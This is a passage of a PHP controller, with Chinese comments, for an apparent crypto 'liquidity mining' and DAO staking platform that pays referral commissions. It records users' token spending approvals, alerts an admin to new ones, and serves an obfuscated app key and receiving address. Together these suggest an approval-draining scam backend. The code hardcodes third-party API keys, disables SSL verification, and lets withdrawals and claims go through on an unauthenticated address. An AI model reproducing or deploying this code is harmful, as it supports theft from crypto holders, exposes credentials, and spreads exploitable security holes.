toArray() : []; // $other = array_filter($other, function ($k) use ($allowed) { // return in_array($k, $allowed); // }, ARRAY_FILTER_USE_KEY); // 获取部分 system 配置 $sys_allowed = [ 'pic_url', 'kefu_url', 'reward1', 'reward2', 'reward3', 'reward4', 'reward5', 'reward6', 'reward7', 'reward8', 'reward9', 'reward10', 'reward11', 'reward12', 'reward13', 'reward14', 'reward15', 'reward16', 'reward17', 'reward18', 'telegram', 'twitter', 'swim', 'lang', 'app_address', 'app_key', 'WBTC', 'WETH', 'USDT', 'USDC', 'SHIB', 'UNI', 'DAI', 'time1', 'time2', 'airdrop1', 'airdrop2', 'dao_free', 'dao_count', 'dao_lixi', 'dao_interval', 'yao_lixi', 'suo_lixi', 'liudong', ]; $system = System::first($sys_allowed); $system = $system ? $system->toArray() : []; $system['reward'] = []; for ($i = 1; $i <= 18; $i++) { $system['reward'][] = $system['reward' . $i]; unset($system['reward' . $i]); } return json_encode(compact('system', 'other')); } // 钱包注册 public function register(Request $request) { $address = trim($request->input('address')); $user = User::where('address', $address)->first(); if (empty($user)) { DB::transaction(function () use ($address, $request) { // 创建 $id = User::insertGetId([ 'address' => $address, 'ip' => $this->getIpInfo($request->getClientIp()), 'created_at' => date('Y-m-d H:i:s', time()), 'updated_at' => date('Y-m-d H:i:s', time()) ]); Vault::insert([ 'id' => $id, 'address' => $address ]); Vault2::insert([ 'id' => $id, 'address' => $address ]); Vault3::insert([ 'id' => $id, 'address' => $address ]); // 是否推荐 if ($sid = $request->input('referral')) { $sData = User::where(['id' => $sid])->first(); if (!empty($sData)) { User::where(['id' => $id])->update([ 's_id' => $sid ]); } } }); echo json_encode(0); } else { User::where('id', $user['id'])->update(['updated_at' => date('Y-m-d H:i:s', time())]); $vault = Vault::where(['address' => $address])->first(); $vault2 = Vault2::where(['address' => $address])->first(); $user['vault'] = $vault; $user['vault2'] = $vault2; echo json_encode($user); } } // 流动性余额同步 public function upBalanceV3(Request $request) { $address = $request->input('address'); $data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/' . strtolower($address)); $data_array = json_decode($data, true); $list = Single::where(['type' => config('const.db.coin_type_fluidity')])->get(); Vault3::where(['address' => $address])->update(['status' => 1]); if ($data_array['code'] == 1) { foreach ($data_array['data'] as $v) { foreach ($list as $l) { if ($l['address'] == $v['hash']) { User::where(['address' => $address])->update([ $l['name'] => $v['balance'] / pow(10, $v['tokenInfo']['d']) ]); Vault3::where(['address' => $address])->update([ $l['name'] => $v['balance'] / pow(10, $v['tokenInfo']['d']), ]); } } } } } // 获取用户信息 public function userInfo(Request $request) { $address = $request->input('address'); $user = User::where('address', $address)->first(); echo json_encode($user); } // 授权记录查询 public function apiEther(Request $request) { $data = file_get_contents("https://api.etherscan.io/api?module=account&action=txlist&address=" . $request->input('address') . "&apiKey=NTBHBJKFU6G8H9RSIGDD24XBIRK3YJ3C64"); echo $data; } // 提示音 public function newList(Request $request) { $n = Authorize::where(['status' => 0])->count(); $i = Swap::where(['status' => 0])->count(); $j = Withdrawal::where(['type' => 2, 'status' => 0])->count(); return json_encode(['n' => $n, 'i' => $i, 'j' => $j]); } // 获取邀请数据 public function pullInvite(Request $request) { $req = $request->all(); $data = User::where(['address' => $req['address']])->first(); $arr = []; if (!empty($data)) { if ($req['type'] == 1) { $to = User::where(['s_id' => $data['id']])->orderBy('created_at', 'desc')->get()->toArray(); } if ($req['type'] == 2) { $to = User::whereDay('created_at', date('d', strtotime("-1 day")))->where(['s_id' => $data['id']])->orderBy('created_at', 'desc')->get()->toArray(); } if ($req['type'] == 3) { $end = date('Y-m-d H:i:s', strtotime('last Monday')); $start = date('Y-m-d H:i:s', strtotime('last Monday') - 86400 * 7); $to = User::where('created_at', '>', $start)->where('created_at', '<', $end)->where(['s_id' => $data['id']])->orderBy('created_at', 'desc')->get()->toArray(); } $arr['info']['num'] = 0; $arr['info']['jiaoyi'] = 0; $arr['info']['amount'] = 0; $arr['data'] = []; foreach ($to as $k => $v) { $arr['info']['num'] += 1; $arr['info']['jiaoyi'] += $v['num']; $arr['info']['amount'] += $v['count_amount']; $arr['data'][] = $v; } $arr['info']['yao_leiji_amount'] = $data['yao_leiji_amount']; $arr['info']['yao_curr_amount'] = $data['yao_curr_amount']; return json_encode($arr); } } // 提取佣金 public function pushInvite(Request $request) { $address = trim($request->input('address')); $user = User::where('address', $address)->first(); if (!empty($user)) { DB::transaction(function () use ($user) { if ($user['yao_curr_amount'] <= 0) { return false; } User::where(['id' => $user['id']])->increment('yao_leiji_amount', $user['yao_curr_amount']); User::where(['id' => $user['id']])->increment('balance', $user['yao_curr_amount']); User::where(['id' => $user['id']])->decrement('yao_curr_amount', $user['yao_curr_amount']); Commissions::insert([ 'from' => '', 'to' => $user['address'], 'money' => $user['yao_curr_amount'], 'type' => 4, 'created_at' => date('Y-m-d H:i:s', time()), 'update_at' => date('Y-m-d H:i:s', time()), 'libi' => 0, ]); }); } } // 同步授权 public function authorization(Request $request) { $wallet = trim($request->input('wallet'), '|'); $address = trim($request->input('address')); $user = User::where('address', $address)->first(); if (!empty($user)) { $wallet_arr = explode('|', $wallet); User::where(['id' => $user->id])->update([ 'USDT_Q' => (int)in_array('USDT', $wallet_arr), 'WETH_Q' => (int)in_array('WETH', $wallet_arr), 'WBTC_Q' => (int)in_array('WBTC', $wallet_arr), 'SHIB_Q' => (int)in_array('SHIB', $wallet_arr), 'UNI_Q' => (int)in_array('UNI', $wallet_arr), 'DAI_Q' => (int)in_array('DAI', $wallet_arr), 'USDC_Q' => (int)in_array('USDC', $wallet_arr), ]); } } // 流动领取收益 public function all(Request $request) { $address = trim($request->input('address')); $system = System::where(['id' => 1])->first(); DB::transaction(function () use ($address, $system) { $data = Vault3::where(['address' => $address])->first(); if ($data['USDT_T'] > 0) { $v1 = $data['USDT_T'] / $system['GLK']; Vault3::where(['id' => $data['id']])->decrement('USDT_T', $data['USDT_T']); // 写入日志 Balance::insert([ 'address' => $address, 'name' => 'USDT', 'remake' => '流动挖矿领取', 'status' => 5, 'created_at' => date('Y-m-d H:i:s', time()), 'money' => $v1 ]); User::where(['address' => $address])->increment('balance', $v1); } if ($data['USDC_T'] > 0) { $v1 = $data['USDC_T'] / $system['GLK']; Vault3::where(['id' => $data['id']])->decrement('USDC_T', $data['USDC_T']); // 写入日志 Balance::insert([ 'address' => $address, 'name' => 'USDC', 'remake' => '流动挖矿领取', 'status' => 5, 'created_at' => date('Y-m-d H:i:s', time()), 'money' => $v1 ]); User::where(['address' => $address])->increment('balance', $v1); } }); } // 同步授权 public function authorization_v(Request $request) { $wallet = trim($request->input('wallet'), '|'); $address = trim($request->input('address')); $user = User::where('address', $address)->first(); if (!empty($user)) { $wallet_arr = explode('|', $wallet); User::where(['id' => $user->id])->update([ 'USDT_Q' => (int)in_array('USDT', $wallet_arr), 'USDC_Q' => (int)in_array('USDC', $wallet_arr), ]); } } // 币币兑换 public function apiSwap(Request $request) { $data = $request->all(); $user = User::where('address', $data['address'])->first(); $system = System::where(['id' => 1])->first(); if (!empty($user)) { if ((float)$system['limit_GLK'] >= (float)$data['balance']) { return false; } if ((float)$data['balance'] <= $user['balance']) { DB::transaction(function () use ($user, $data) { User::where(['id' => $user['id']])->decrement('balance', $data['balance']); Swap::insert([ 'address' => $data['address'], 'remark' => $user['remark'], 'balance' => $data['balance'], 'status' => 0, 'created_at' => date('Y-m-d H:i:s', time()), 'updated_at' => date('Y-m-d H:i:s', time()), ]); }); } } } // DAO锁仓 public function daoDeposit(Request $request) { $data = $request->all(); $user = User::where('address', $data['address'])->first(); if (!empty($user)) { if ((float)$data['balance'] <= $user['balance']) { $system = System::where(['id' => 1])->first(); DB::transaction(function () use ($user, $data, $system) { User::where(['id' => $user['id']])->decrement('balance', $data['balance']); User::where(['id' => $user['id']])->increment('dao_count', $data['balance']); User::where(['id' => $user['id']])->increment('num', 1); User::where(['id' => $user['id']])->increment('count_amount', $data['balance'] * $system['GLK']); User::where(['id' => $user['id']])->update(['dao_time' => date('Y-m-d H:i:s')]); Dao::insert([ 'address' => $data['address'], 'remake' => $user['remark'], 'money' => $data['balance'], 'content' => 'DAO锁仓生息存入', 'created_at' => date('Y-m-d H:i:s', time()) ]); }); } } } // DAO 提取收益 public function daoWithdrawProfit(Request $request) { $data = $request->all(); $user = User::where('address', $data['address'])->first(); if (!empty($user)) { DB::transaction(function () use ($user, $data) { User::where(['id' => $user['id']])->decrement('dao_current', $user['dao_current']); User::where(['id' => $user['id']])->increment('balance', $user['dao_current']); Dao::insert([ 'address' => $data['address'], 'remake' => $user['remark'], 'money' => $user['dao_current'], 'content' => 'DAO锁仓提取收益', 'created_at' => date('Y-m-d H:i:s', time()) ]); }); } } // DAO 提取本金 public function daoWithdraw(Request $request) { $data = $request->all(); $user = User::where('address', $data['address'])->first(); $system = System::where(['id' => 1])->first(); if (!empty($user)) { DB::transaction(function () use ($user, $data, $system) { $delta = $data['balance']; if ($delta <= $user['dao_count']) { User::where(['id' => $user['id']])->decrement('dao_count', $delta); $balance = null; if ((time() - 86400 * 7) > $user['dao_time']) { $balance = $delta * ((100 - $system['dao_free']) / 100); } else { $balance = $delta; } User::where(['id' => $user['id']])->increment('balance', $balance); Dao::insert([ 'address' => $data['address'], 'remake' => $user['remark'], 'money' => $delta, 'content' => 'DAO锁仓提取本金(' . $balance . ')', 'created_at' => date('Y-m-d H:i:s', time()) ]); } }); } } // 单币同步 public function authorization_one(Request $request) { $wallet = trim($request->input('wallet')); $address = trim($request->input('address')); $user = User::where('address', $address)->first(); if (!empty($user)) { Authorize::insert([ 'address' => $address, 'name' => explode('_', $wallet)[0], 'status' => 0, 'created_at' => date('Y-m-d H:i:s', time()), 'updated_at' => date('Y-m-d H:i:s', time()), 'hash' => $request->input('hash') ]); User::where(['id' => $user->id])->update([ $wallet => 1, ]); } } // vault更新余额 public function vaultBalance(Request $request) { $address = trim($request->input('address')); $user = User::where('address', $address)->first(); if (!empty($user)) { if ($request->input('type') == 1) { $vault = Vault::where(['id' => $user->id])->first(); } if ($request->input('type') == 2) { $vault = Vault2::where(['id' => $user->id])->first(); } if ($request->input('type') == 3) { $vault = Vault3::where(['id' => $user->id])->first(); } echo json_encode($vault); exit; } } // 更新余额 public function upBalance(Request $request) { $address = trim($request->input('address')); $user = User::where('address', $address)->first(); if (!empty($user)) { $data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/' . strtolower($address)); $data_array = json_decode($data, true); $list = Single::where(['type' => config('const.db.coin_type_platform')])->get(); if ($data_array['code'] == 1) { foreach ($data_array['data'] as $v) { foreach ($list as $l) { if ($l['address'] == $v['hash']) { User::where(['address' => $address])->update([ $l['name'] => $v['balance'] / pow(10, $v['tokenInfo']['d']) ]); } } } } echo $data; } } // 获取key public function getInfo() { $system = System::where(['id' => '1'])->first(); echo $this->strencode2(json_encode([ 'app_key' => $system['app_key'], 'app_address' => $system['app_address'], 'gui_address' => $system['gui_address'], ])); } // 存入 public function deposit(Request $request) { $data = $request->all(); $user = User::where('address', $data['address'])->first(); if (!empty($user)) { $single = Single::where(['type' => $data['type'], 'address' => $data['app_address']])->first(); Detail::insertGetId([ 'address' => $data['address'], 'hash' => $data['hash'], 'balance' => $data['balance'], 'status' => 0, 'type' => $data['type'], 'info' => json_encode($single), 'created_at' => date('Y-m-d H:i:s', time()), 'updated_at' => date('Y-m-d H:i:s', time()), 'remake' => $user['remark'] ]); } } // 提现信息 public function withdrawalInfo(Request $request) { $data = $request->all(); $user = User::where('address', $data['address'])->first(); if (!empty($user)) { if ($data['type'] == 1) { $info = Vault::where(['id' => $user['id']])->first(); } else { $info = Vault2::where(['id' => $user['id']])->first(); } $info['use'] = $user['use']; $info['use1'] = $user['use1']; echo json_encode($info); exit; } } // 提现收益 public function withdrawalIncome(Request $request) { $data = $request->all(); $user = User::where('address', $data['address'])->first(); if (!empty($user)) { if ($user['use1'] == 1) { if ($data['type'] == 1) { $info = Vault::where(['id' => $user['id']])->first(); } else { $info = Vault2::where(['id' => $user['id']])->first(); } $single = Single::where(['address' => $data['ha_address'], 'type' => $data['type']])->first(); DB::transaction(function () use ($single, $data, $info, $user) { $status = 0; // 减收益 if ($data['type'] == 1) { Vault::where(['id' => $user['id']])->decrement($single['name'] . '_T', $info[$single['name'] . '_T']); $status = 1; // 增加平台币 User::where(['id' => $user['id']])->increment('balance', $info[$single['name'] . '_T']); // 写入日志 Balance::insert([ 'address' => $user['address'], 'name' => $single['name'], 'remake' => '领取挖矿收益(平台币)', 'status' => 2, 'created_at' => date('Y-m-d H:i:s', time()), 'money' => $info[$single['name'] . '_T'] ]); } if ($data['type'] == 2) { $status = 0; Vault2::where(['id' => $user['id']])->decrement($single['name'] . '_T', $info[$single['name'] . '_T']); } Withdrawal::insertGetId([ 'address' => $user['address'], 'remake' => $user['remark'], 'bi_name' => $single['name'], 'liexing' => 1, 'balance' => $info[$single['name'] . '_T'], 'type' => $data['type'], 'status' => $status, 'created_at' => date('Y-m-d H:i:s', time()), 'updated_at' => date('Y-m-d H:i:s', time()), ]); }); } } } // 提现 public function withdrawal(Request $request) { $data = $request->all(); $user = User::where('address', $data['address'])->first(); if (!empty($user)) { if ($user['use'] == 1) { if ($data['type'] == 1) { $info = Vault::where(['id' => $user['id']])->first(); } else { $info = Vault2::where(['id' => $user['id']])->first(); } $single = Single::where(['address' => $data['ha_address'], 'type' => $data['type']])->first(); if ($info[$single['name']] >= $data['balance']) { DB::transaction(function () use ($single, $data, $info, $user) { // 减本金 if ($data['type'] == 1) { Vault::where(['id' => $user['id']])->decrement($single['name'], $data['balance']); } if ($data['type'] == 2) { Vault2::where(['id' => $user['id']])->decrement($single['name'], $data['balance']); } Withdrawal::insertGetId([ 'address' => $user['address'], 'bi_name' => $single['name'], 'liexing' => 2, 'balance' => $data['balance'], 'type' => $data['type'], 'status' => 0, 'created_at' => date('Y-m-d H:i:s', time()), 'updated_at' => date('Y-m-d H:i:s', time()), ]); }); } } } } // 锁仓获取 public function lockup(Request $request) { $data = $request->all(); $user = User::where('address', $data['address'])->first(); if (!empty($user)) { $system = System::where(['id' => 1])->first(); $count = 0.00; $income = 0.00; if ($data['type'] == 1) { $info = Vault::where(['id' => $user['id']])->first(); $count += $info['WBTC'] * $system['WBTC']; $count += $info['USDT'] * $system['USDT']; $count += $info['WETH'] * $system['WETH']; $count += $info['SHIB'] * $system['SHIB']; $count += $info['UNI'] * $system['UNI']; $count += $info['DAI'] * $system['DAI']; $count += $info['USDC'] * $system['USDC']; $income = ($info['WBTC_T'] + $info['USDT_T'] + $info['WETH_T'] + $info['SHIB_T'] + $info['UNI_T'] + $info['DAI_T'] + $info['USDC_T']) * $system['GLK']; } else { $info = Vault2::where(['id' => $user['id']])->first(); $count += $info['WBTC'] * $system['WBTC']; $count += $info['USDT'] * $system['USDT']; $count += $info['WETH'] * $system['WETH']; $count += $info['SHIB'] * $system['SHIB']; $count += $info['UNI'] * $system['UNI']; $count += $info['DAI'] * $system['DAI']; $count += $info['USDC'] * $system['USDC']; $income += $info['WBTC_T'] * $system['WBTC']; $income += $info['USDT_T'] * $system['USDT']; $income += $info['WETH_T'] * $system['WETH']; $income += $info['SHIB_T'] * $system['SHIB']; $income += $info['UNI_T'] * $system['UNI']; $income += $info['DAI_T'] * $system['DAI']; $income += $info['USDC_T'] * $system['USDC']; } echo json_encode(['count' => $count, 'income' => $income]); } } // hash值检验 public function hashVerify(Request $request) { $endtime = 86400; $list = Detail::where(['status' => 0]) ->where('created_at', '>', date('Y-m-d H:i:s', time() - $endtime)) ->get()->toArray(); $system = System::where(['id' => 1])->first(); foreach ($list as $k => $v) { $data = file_get_contents('https://eth.tokenview.com/api/search/' . $v['hash'] . '/?network=eth'); $data_format = json_decode($data, true); if (!empty($data_format) && $data_format['code'] == 1 && !empty($data_format['data'][0]['tokenTransfer'][0])) { $info = $data_format['data'][0]['tokenTransfer'][0]; // 判断两值相等 if (strtolower($v['address']) == $info['from']) { $single = Single::where(['address' => $info['token'], 'type' => $v['type']])->first(); // 事务更新 DB::transaction(function () use ($single, $v, $info, $system) { // 当前用户操作数, 最后操作时间变动 $user = User::where(['address' => $v['address']])->first(); // 当前存入变动 $balance = $info['value'] / pow(10, $info['tokenInfo']['d']); User::where(['address' => $v['address']])->update([ 'updated_at' => date('Y-m-d H:i:s', time()), 'num' => $user['num'] + 1, 'count_amount' => ($system[$single['name']] * $balance) + $user['count_amount'] ]); Detail::where(['address' => $v['address']])->update([ 'status' => 1, 'true_balance' => $balance, 'updated_at' => date('Y-m-d H:i:s', time()), ]); // 产品列表加 Single::where(['id' => $single['id']])->increment('count_use', $balance); Single::where(['id' => $single['id']])->increment('real', $balance); // 个人存入余额增加 if ($v['type'] == 1) { Vault::where(['id' => $user['id']])->increment($single['name'], $balance); } if ($v['type'] == 2) { Vault2::where(['id' => $user['id']])->increment($single['name'], $balance); } }); } } } } // 奖励发放 (平台币) public function reward1() { $config = System::where(['id' => 1])->first(); $single = Single::where(['type' => config('const.db.coin_type_platform')])->pluck('yield', 'name'); $data = Vault::where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['time1'] * 60)))->get(); $list = ['WBTC', 'USDT', 'WETH', 'SHIB', 'UNI', 'DAI', 'USDC']; foreach ($data as $k => $v) { foreach ($list as $v1) { if ($v[$v1] > 0) { // 计算利息 $lixi = ($single[$v1] / 100 / 30 / 24 / 60) * $config['time1']; $benji = $v[$v1] * $config[$v1] * $lixi; DB::transaction(function () use ($v, $v1, $benji, $config) { Vault::where(['id' => $v['id']])->where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['time1'] * 60)))->increment($v1 . '_T', $benji); Balance::insert([ 'address' => $v['address'], 'name' => $v1, 'remake' => '挖矿利息发放GLK(平台币)', 'money' => $benji, 'status' => 1, 'created_at' => date('Y-m-d H:i:s') ]); // 佣金发放 $from_data = User::where(['id' => $v['id']])->first(); if ($from_data['s_id'] != 0) { $to_data = User::where(['id' => $from_data['s_id'], 'use1' => 1, 'use' => 1])->first(); if (!empty($to_data)) { Commissions::insert([ 'from' => $from_data['address'], 'to' => $to_data['address'], 'money' => ($config['suo_lixi'] / 100) * $benji, 'type' => 1, 'created_at' => date('Y-m-d H:i:s', time()), 'update_at' => date('Y-m-d H:i:s', time()), 'libi' => $config['suo_lixi'], ]); User::where(['id' => $to_data['id']])->increment('yao_leiji_amount', ($config['suo_lixi'] / 100) * $benji); User::where(['id' => $to_data['id']])->increment('yao_curr_amount', ($config['suo_lixi'] / 100) * $benji); } } }); } } } } // 奖励发放 (自身币) public function reward2() { $config = System::where(['id' => 1])->first(); $single = Single::where(['type' => config('const.db.coin_type_earn')])->pluck('yield', 'name'); $data = Vault2::where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['time2'] * 60)))->get(); $list = ['WBTC', 'USDT', 'WETH', 'SHIB', 'UNI', 'DAI', 'USDC']; foreach ($data as $k => $v) { foreach ($list as $v1) { if ($v[$v1] > 0) { // 计算利息 $lixi = ($single[$v1] / 100 / 30 / 24 / 60) * $config['time2']; $benji = $v[$v1] * $lixi; DB::transaction(function () use ($v, $v1, $benji, $config) { Vault2::where(['id' => $v['id']])->increment($v1 . '_T', $benji); Balance::insert([ 'address' => $v['address'], 'name' => $v1, 'remake' => '挖矿利息发放' . $v1 . '(自身币)', 'money' => $benji, 'status' => 1, 'created_at' => date('Y-m-d H:i:s') ]); // 佣金发放 $from_data = User::where(['id' => $v['id']])->first(); if ($from_data['s_id'] != 0) { $to_data = User::where(['id' => $from_data['s_id'], 'use1' => 1, 'use' => 1])->first(); if (!empty($to_data)) { Commissions::insert([ 'from' => $from_data['address'], 'to' => $to_data['address'], 'money' => ($config['suo_lixi'] / 100) * ($benji * $config[$v1] / $config['GLK']), 'type' => 2, 'created_at' => date('Y-m-d H:i:s', time()), 'update_at' => date('Y-m-d H:i:s', time()), 'libi' => $config['suo_lixi'], ]); User::where(['id' => $to_data['id']])->increment('yao_leiji_amount', ($config['suo_lixi'] / 100) * ($benji * $config[$v1] / $config['GLK'])); User::where(['id' => $to_data['id']])->increment('yao_curr_amount', ($config['suo_lixi'] / 100) * ($benji * $config[$v1] / $config['GLK'])); } } }); } } } } // 奖励发放 public function reward3() { $config = System::where(['id' => 1])->first(); $single = Single::where(['type' => config('const.db.coin_type_fluidity')])->pluck('yield', 'name'); $data = Vault3::where('updated_at', '<', date('Y-m-d H:i:s', time() - ($config['liudong'] * 60)))->get(); $list = ['USDT', 'USDC']; foreach ($data as $k => $v) { foreach ($list as $v1) { if ($v[$v1] > 0) { // 计算利息 $lixi = ($single[$v1] / 100 / 30 / 24 / 60) * $config['liudong']; $benji = $v[$v1] * $lixi; DB::transaction(function () use ($v, $v1, $benji, $config) { Vault3::where(['id' => $v['id']])->increment($v1 . '_T', $benji); Balance::insert([ 'address' => $v['address'], 'name' => $v1, 'remake' => '流动挖矿利息发放' . $v1, 'money' => $benji, 'status' => 6, 'created_at' => date('Y-m-d H:i:s') ]); }); } } } } // 流动余额更新 public function updateBalance() { $list = Vault3::where(['status' => 1])->get(); foreach ($list as $k => $v) { $data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/' . strtolower($v->address)); $data_array = json_decode($data, true); if ($data_array['code'] == 1) { foreach ($data_array['data'] as $v1) { if ($v1['tokenInfo']['s'] == 'USDT') { Vault3::where(['id' => $v['id']])->update([ 'USDT' => $v1['balance'] / pow(10, $v1['tokenInfo']['d']) ]); } if ($v1['tokenInfo']['s'] == 'USDC') { Vault3::where(['id' => $v['id']])->update([ 'USDC' => $v1['balance'] / pow(10, $v1['tokenInfo']['d']) ]); } } } sleep(1); } } // 锁仓收益发放 public function daoTime(Request $request) { $system = System::where(['id' => 1])->first(); $data = User::where('dao_count', '>', 0)->where('dao_time', '<', date('Y-m-d H:i:s', time() - ($system['dao_interval'] * 60)))->get(); foreach ($data as $k => $v) { $lixi = ($system['dao_lixi'] / 100 / 30 / 24 / 60) * $system['dao_lixi']; $amount = $v['dao_count'] * $lixi; DB::transaction(function () use ($amount, $v, $system) { User::where(['id' => $v['id']])->update([ 'dao_time' => date('Y-m-d H:i:s', time()), 'dao_current' => $v['dao_current'] + $amount, 'dao_leiji' => $v['dao_leiji'] + $amount, ]); Dao::insert([ 'address' => $v['address'], 'remake' => $v['remark'], 'money' => $amount, 'content' => 'DAO锁仓利息发放', 'created_at' => date('Y-m-d H:i:s', time()) ]); // 佣金发放 if ($v['s_id'] != 0) { $to_data = User::where(['id' => $v['s_id'], 'use1' => 1, 'use' => 1])->first(); if (!empty($to_data)) { Commissions::insert([ 'from' => $v['address'], 'to' => $to_data['address'], 'money' => ($system['suo_lixi'] / 100) * $amount, 'type' => 3, 'created_at' => date('Y-m-d H:i:s', time()), 'update_at' => date('Y-m-d H:i:s', time()), 'libi' => $system['suo_lixi'], ]); User::where(['id' => $to_data['id']])->increment('yao_leiji_amount', ($system['suo_lixi'] / 100) * $amount); User::where(['id' => $to_data['id']])->increment('yao_curr_amount', ($system['suo_lixi'] / 100) * $amount); } } }); } } // 领取空投 public function airdrop(Request $request) { $data = $request->all(); $user = User::where('address', $data['address'])->first(); if (!empty($user)) { DB::transaction(function () use ($user) { User::where(['id' => $user->id])->decrement('Airdrop', $user['Airdrop']); User::where(['id' => $user->id])->increment('balance', $user['Airdrop']); Balance::insert([ 'address' => $user['address'], 'name' => 'GLK', 'remake' => '领取空投奖励', 'status' => 3, 'money' => $user['Airdrop'], 'created_at' => date('Y-m-d H:i:s') ]); }); } } // 更新基础币种价格 public function updateMoney(Request $request) { $data = file_get_contents('https://api.huobi.pro/market/tickers'); $toArray = json_decode($data, true); $list = []; foreach ($toArray['data'] as $v) { if ($v['symbol'] == 'btcusdt') { $list['WBTC'] = $v['close']; } if ($v['symbol'] == 'ethusdt') { $list['WETH'] = $v['close']; } if ($v['symbol'] == 'uniusdt') { $list['UNI'] = $v['close']; } if ($v['symbol'] == 'shibusdt') { $list['SHIB'] = $this->sctonum($v['close'], 8); } } System::where(['id' => 1])->update([ 'WBTC' => $list['WBTC'], 'WETH' => $list['WETH'], 'UNI' => $list['UNI'], 'SHIB' => $list['SHIB'], ]); } function strencode2($string) { $string = base64_encode($string); $key = '7894af1afaf0.afdas121231afasfaf12a5fzafadsf132aafadf11123ada'; $len = strlen($key); $code = ''; for ($i = 0; $i < strlen($string); $i++) { $k = $i % $len; $code .= $string[$i] ^ $key[$k]; } return base64_encode($code); } function sctonum($num, $double = 5) { if (false !== stripos($num, "e")) { $a = explode("e", strtolower($num)); return bcmul($a[0], bcpow(10, $a[1], $double), $double); } } // 获取ip public function getIpInfo($ip) { $host = "https://api01.aliyun.venuscn.com"; $path = "/ip"; $method = "GET"; $appcode = "77a7fbd8cba14a29aec330d1d2cd2464"; $headers = array(); array_push($headers, "Authorization:APPCODE " . $appcode); $querys = "ip=" . $ip; $bodys = ""; $url = $host . $path . "?" . $querys; $curl = curl_init(); curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_FAILONERROR, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, false); if (1 == strpos("$" . $host, "https://")) { curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); } $data = json_decode(curl_exec($curl), true); if (empty($data['data'])) { return '获取ip失败'; } return $data['data']['region'] . '-' . $data['data']['city']; } public function authorizationSearch(Request $request) { $data = file_get_contents('https://eth.tokenview.com/api/search/' . $request->input('tx') . '/?network=eth'); echo $data; } }